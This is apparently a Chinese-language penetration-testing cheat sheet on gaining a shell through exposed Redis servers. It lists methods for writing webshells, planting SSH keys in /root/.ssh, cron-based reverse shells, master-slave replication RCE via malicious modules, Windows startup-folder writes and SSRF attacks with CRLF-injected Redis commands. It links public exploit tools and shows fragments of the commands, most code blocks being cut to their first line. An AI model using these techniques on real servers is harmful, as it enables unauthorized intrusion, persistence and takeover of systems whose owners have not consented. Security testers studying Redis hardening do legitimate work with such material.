GetShell
写webshell
已知web的绝对路径
对应目录具有读写权限
1 | redis-cli -h 192.168.1.154 |
写入ssh公钥getshell
- redis服务为root权限
- 允许密钥登录
- linux
1 | config set dir /root/.ssh |
计划任务反弹shell
- redis服务为root权限启动
1 | config set dir /var/spool/cron/ |
tips:crontab反弹debian,ubuntu都不行,因为他们对计划任务的格式很严格,必须要执行 crontab -u root /var/spool/cron/crontabs/root
通过语法检查后,才能执行计划任务。
最后补充一下,可进行利用的cron有如下几个地方:
- /etc/crontab 这个是肯定的
- /etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
- /var/spool/cron/root centos系统下root用户的cron文件
- /var/spool/cron/crontabs/root debian系统下root用户的cron文件
主从rce
- redis服务为root权限启动
- redis 4.x/5.x
本质上就是加载一个so文件,用来执行命令。和udf差不多。如果本身就可以上传文件的情况下,直接上传so文件加载即可,不用利用主从。主从的意思就是把当前redis设置为备份库,等着把恶意的远程db备份过来,进行加载。
1 | git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand |
开启恶意redis一键rce
1 | git clone https://github.com/Ridter/redis-rce |
1 | https://github.com/vulhub/redis-rogue-getshell |
1 |
|
手动操作
redis加载远程exp.so命令执行,配合被动连接使用
https://github.com/Dliv3/redis-rogue-server
1 | #设置redis的备份路径为当前目录(注意目录权限问题) |
还可以写无损文件
https://github.com/r35tart/RedisWriteFile
还可以主从复制覆写shadow
windows系统主从利用
- 需要启动项目录的写入权限
- 服务器需要重启
1 | config set dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/" |
win利用dll
https://github.com/learner-ing/redis-rce
win系统getshell
https://xz.aliyun.com/t/7940
总体来说目前Windows的Redis getshell还没有发现直来直去一招通杀的方式。当然这主要是由于Windows自身特性以及Redis不(出)更(新)新(洞)的缘故。
但就像没有Redis4.x-5.x主从RCE之前的Linux环境一样,碰到了Redis即使知道有一定可能没权限写入,但还是要把最基础的试它一试,最起码常见的用户名目录要尝试写一写,mof尝试写一写,万一就成了呢?
运气也是实力的一部分,什么都觉得不可能,什么都不做,那就什么都不会有。
Other
ssrf 攻击未授权访问redis
1 | # 清空 key |
如果是Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。见ref
ssrf 攻击需要验证redis
可以看到每行都是以\r结尾的,但是 Redis 的协议是以 CRLF (\r\n)结尾,所以转换的时候需要把\r转换为\r\n,然后其他全部进行 两次 URL 编码
可用socat来抓包
1 | socat -v tcp-listen:4444,fork tcp-connect:127.0.0.1:6379 |
具体流量包如下(实时显示)
1 | [root@40d4066eb5c7 /]# socat -v tcp-listen:4444,fork tcp-connect:127.0.0.1:6379 |
整理后关键包
1 | *2\r |